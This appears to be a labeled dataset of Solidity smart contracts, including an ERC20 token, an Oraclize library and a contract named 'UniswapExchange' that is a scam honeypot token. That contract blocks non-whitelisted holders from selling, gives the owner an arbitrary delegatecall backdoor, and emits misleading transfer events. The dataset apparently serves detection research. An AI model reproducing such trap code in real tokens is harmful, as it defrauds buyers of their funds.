function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,922 |
pragma solidity ^0.4.19;
contract ContractReceiverInterface {
function receiveApproval(
address from,
uint256 _amount,
address _token,
bytes _data) public;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract SafeContract is Ownable {
function transferAnyERC20Token(address _tokenAddress, uint256 _tokens, address _beneficiary) public onlyOwner returns (bool success) {
return ERC20Basic(_tokenAddress).transfer(_beneficiary, _tokens);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FriendsFingersToken is DetailedERC20, MintableToken, BurnableToken, SafeContract {
address public builder;
modifier canTransfer() {
require(mintingFinished);
_;
}
function FriendsFingersToken(
string _name,
string _symbol,
uint8 _decimals
)
DetailedERC20 (_name, _symbol, _decimals)
public
{
builder = owner;
}
function transfer(address _to, uint _value) canTransfer public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
require(approve(_spender, _amount));
ContractReceiverInterface(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
} | 1 | 3,917 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,764 |
pragma solidity ^0.4.0;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
